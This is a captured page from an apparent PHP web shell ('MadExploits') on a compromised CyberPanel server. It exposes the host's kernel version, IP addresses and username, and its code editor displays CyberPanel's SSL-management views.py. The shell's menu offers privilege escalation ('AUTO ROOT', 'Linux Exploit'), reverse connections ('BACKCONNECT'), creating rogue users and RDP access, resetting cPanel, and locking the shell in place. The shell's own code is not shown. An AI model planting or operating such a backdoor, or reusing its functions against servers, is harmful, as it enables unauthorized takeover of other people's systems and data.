Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
manageSSL /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
89
B
-rw-r--r--
apps.py
119
B
-rw-r--r--
models.py
83
B
-rw-r--r--
tests.py
2.65
KB
-rw-r--r--
urls.py
774
B
-rw-r--r--
views.py
17.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views.py
# -*- coding: utf-8 -*- from plogical.httpProc import httpProc from websiteFunctions.models import Websites, ChildDomains from loginSystem.models import Administrator from plogical.virtualHostUtilities import virtualHostUtilities from django.http import HttpResponse import json from plogical.acl import ACLManager from plogical.processUtilities import ProcessUtilities # Create your views here. def loadSSLHome(request): userID = request.session['userID'] currentACL = ACLManager.loadedACL(userID) proc = httpProc(request, 'manageSSL/index.html', currentACL, 'admin') return proc.render() def manageSSL(request): userID = request.session['userID'] currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID) proc = httpProc(request, 'manageSSL/manageSSL.html', {'websiteList': websitesName}, 'manageSSL') return proc.render() def v2ManageSSL(request): userID = request.session['userID'] currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID) data = {} if ACLManager.CheckForPremFeature('all'): data['PremStat'] = 1 else: data['PremStat'] = 0 if request.method == 'POST': SAVED_CF_Key = request.POST.get('SAVED_CF_Key') SAVED_CF_Email = request.POST.get('SAVED_CF_Email') from plogical.dnsUtilities import DNS DNS.ConfigureCloudflareInAcme(SAVED_CF_Key, SAVED_CF_Email) data['SaveSuccess'] = 1 RetStatus, SAVED_CF_Key, SAVED_CF_Email = ACLManager.FetchCloudFlareAPIKeyFromAcme() from plogical.dnsUtilities import DNS DNS.ConfigurePowerDNSInAcme() data['SAVED_CF_Key'] = SAVED_CF_Key data['SAVED_CF_Email'] = SAVED_CF_Email data['websiteList'] = websitesName proc = httpProc(request, 'manageSSL/v2ManageSSL.html', data, 'manageSSL') return proc.render() def v2IssueSSL(request): try: userID = request.session['userID'] admin = Administrator.objects.get(pk=userID) try: if ACLManager.CheckForPremFeature('all'): if request.method == 'POST': currentACL = ACLManager.loadedACL(userID) if currentACL['admin'] == 1: pass elif currentACL['manageSSL'] == 1: pass else: return ACLManager.loadErrorJson('SSL', 0) data = json.loads(request.body) virtualHost = data['virtualHost'] if ACLManager.checkOwnership(virtualHost, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() try: website = ChildDomains.objects.get(domain=virtualHost) adminEmail = website.master.adminEmail path = website.path except: website = Websites.objects.get(domain=virtualHost) adminEmail = website.adminEmail path = "/home/" + virtualHost + "/public_html" ## ssl issue execPath = "/usr/local/CyberCP/bin/python " + virtualHostUtilities.cyberPanel + "/plogical/virtualHostUtilities.py" execPath = execPath + " issueSSLv2 --virtualHostName " + virtualHost + " --administratorEmail " + adminEmail + " --path " + path output = ProcessUtilities.outputExecutioner(execPath) if output.find("1,") > -1: ## ssl issue ends website.ssl = 1 website.save() # Extract detailed logs from output logs = output.split("1,", 1)[1] if "1," in output else output data_ret = {'status': 1, "SSL": 1, 'error_message': "None", 'sslLogs': logs, 'fullOutput': output} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: # Parse error details from output error_message = output detailed_error = "SSL issuance failed" # Check for common ACME errors if "Rate limit" in output or "rate limit" in output: detailed_error = "Let's Encrypt rate limit exceeded. Please wait before retrying." elif "DNS problem" in output or "NXDOMAIN" in output: detailed_error = "DNS validation failed. Please ensure your domain points to this server." elif "Connection refused" in output or "Connection timeout" in output: detailed_error = "Could not connect to ACME server. Check your firewall settings." elif "Unauthorized" in output or "authorization" in output: detailed_error = "Domain authorization failed. Verify domain ownership and DNS settings." elif "CAA record" in output: detailed_error = "CAA record prevents issuance. Check your DNS CAA records." elif "Challenge failed" in output or "challenge failed" in output: detailed_error = "ACME challenge failed. Ensure port 80 is accessible and .well-known path is not blocked." elif "Invalid response" in output: detailed_error = "Invalid response from ACME challenge. Check your web server configuration." else: # Try to extract the actual error message if "0," in output: error_parts = output.split("0,", 1) if len(error_parts) > 1: detailed_error = error_parts[1].strip() data_ret = {'status': 0, "SSL": 0, 'error_message': detailed_error, 'sslLogs': output, 'fullOutput': output, 'technicalDetails': error_message} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) except KeyError: data_ret = {'status': 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def issueSSL(request): try: userID = request.session['userID'] admin = Administrator.objects.get(pk=userID) try: if request.method == 'POST': currentACL = ACLManager.loadedACL(userID) if currentACL['admin'] == 1: pass elif currentACL['manageSSL'] == 1: pass else: return ACLManager.loadErrorJson('SSL', 0) data = json.loads(request.body) virtualHost = data['virtualHost'] if ACLManager.checkOwnership(virtualHost, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() try: website = ChildDomains.objects.get(domain=virtualHost) adminEmail = website.master.adminEmail path = website.path except: website = Websites.objects.get(domain=virtualHost) adminEmail = website.adminEmail path = "/home/" + virtualHost + "/public_html" ## ssl issue execPath = "/usr/local/CyberCP/bin/python " + virtualHostUtilities.cyberPanel + "/plogical/virtualHostUtilities.py" execPath = execPath + " issueSSL --virtualHostName " + virtualHost + " --administratorEmail " + adminEmail + " --path " + path output = ProcessUtilities.outputExecutioner(execPath) if output.find("1,None") > -1: pass else: data_ret = {'status': 0, "SSL": 0, 'error_message': output} json_data = json.dumps(data_ret) return HttpResponse(json_data) ## ssl issue ends website.ssl = 1 website.save() data_ret = {'status': 1, "SSL": 1, 'error_message': "None"} json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) except KeyError: data_ret = {'status': 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def sslForHostName(request): userID = request.session['userID'] currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID, 1) proc = httpProc(request, 'manageSSL/sslForHostName.html', {'websiteList': websitesName}, 'hostnameSSL') return proc.render() def obtainHostNameSSL(request): try: userID = request.session['userID'] try: if request.method == 'POST': currentACL = ACLManager.loadedACL(userID) if currentACL['admin'] == 1: pass elif currentACL['hostnameSSL'] == 1: pass else: return ACLManager.loadErrorJson('SSL', 0) data = json.loads(request.body) virtualHost = data['virtualHost'] try: website = Websites.objects.get(domain=virtualHost) path = "/home/" + virtualHost + "/public_html" except: website = ChildDomains.objects.get(domain=virtualHost) path = website.path admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(virtualHost, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() ## ssl issue execPath = "/usr/local/CyberCP/bin/python " + virtualHostUtilities.cyberPanel + "/plogical/virtualHostUtilities.py" execPath = execPath + " issueSSLForHostName --virtualHostName " + virtualHost + " --path " + path output = ProcessUtilities.outputExecutioner(execPath) if output.find("1,None") > -1: data_ret = {"status": 1, "SSL": 1, 'error_message': "None"} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: data_ret = {"status": 0, "SSL": 0, 'error_message': output} json_data = json.dumps(data_ret) return HttpResponse(json_data) ## ssl issue ends except BaseException as msg: data_ret = {"status": 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) except KeyError: data_ret = {"status": 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def sslForMailServer(request): userID = request.session['userID'] currentACL = ACLManager.loadedACL(userID) websitesName = ACLManager.findAllSites(currentACL, userID) websitesName = websitesName + ACLManager.findChildDomains(websitesName) proc = httpProc(request, 'manageSSL/sslForMailServer.html', {'websiteList': websitesName}, 'mailServerSSL') return proc.render() def obtainMailServerSSL(request): try: userID = request.session['userID'] try: if request.method == 'POST': currentACL = ACLManager.loadedACL(userID) if currentACL['admin'] == 1: pass elif currentACL['mailServerSSL'] == 1: pass else: return ACLManager.loadErrorJson('SSL', 0) data = json.loads(request.body) virtualHost = data['virtualHost'] admin = Administrator.objects.get(pk=userID) if ACLManager.checkOwnership(virtualHost, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() path = "/home/" + virtualHost + "/public_html" ## ssl issue execPath = "/usr/local/CyberCP/bin/python " + virtualHostUtilities.cyberPanel + "/plogical/virtualHostUtilities.py" execPath = execPath + " issueSSLForMailServer --virtualHostName " + virtualHost + " --path " + path output = ProcessUtilities.outputExecutioner(execPath) if output.find("1,None") > -1: data_ret = {"status": 1, "SSL": 1, 'error_message': "None"} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: data_ret = {"status": 0, "SSL": 0, 'error_message': output} json_data = json.dumps(data_ret) return HttpResponse(json_data) ## ssl issue ends except BaseException as msg: data_ret = {"status": 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) except KeyError as msg: data_ret = {"status": 0, "SSL": 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) def getSSLDetails(request): try: userID = request.session['userID'] admin = Administrator.objects.get(pk=userID) try: if request.method == 'POST': currentACL = ACLManager.loadedACL(userID) if currentACL['admin'] == 1: pass elif currentACL['manageSSL'] == 1: pass else: return ACLManager.loadErrorJson('SSL', 0) data = json.loads(request.body) virtualHost = data['virtualHost'] if ACLManager.checkOwnership(virtualHost, admin, currentACL) == 1: pass else: return ACLManager.loadErrorJson() try: website = ChildDomains.objects.get(domain=virtualHost) except: website = Websites.objects.get(domain=virtualHost) try: import OpenSSL from datetime import datetime filePath = '/etc/letsencrypt/live/%s/fullchain.pem' % (virtualHost) x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, open(filePath, 'r').read()) expireData = x509.get_notAfter().decode('ascii') finalDate = datetime.strptime(expireData, '%Y%m%d%H%M%SZ') now = datetime.now() diff = finalDate - now data_ret = { 'status': 1, 'hasSSL': True, 'days': str(diff.days), 'authority': x509.get_issuer().get_components()[1][1].decode('utf-8'), 'expiryDate': finalDate.strftime('%Y-%m-%d %H:%M:%S') } if data_ret['authority'] == 'Denial': data_ret['authority'] = 'SELF-SIGNED SSL' except BaseException as msg: data_ret = { 'status': 1, 'hasSSL': False, 'error_message': str(msg) } json_data = json.dumps(data_ret) return HttpResponse(json_data) except BaseException as msg: data_ret = {'status': 0, 'error_message': str(msg)} json_data = json.dumps(data_ret) return HttpResponse(json_data) except KeyError: data_ret = {'status': 0, 'error_message': 'Not logged in'} json_data = json.dumps(data_ret) return HttpResponse(json_data)
Close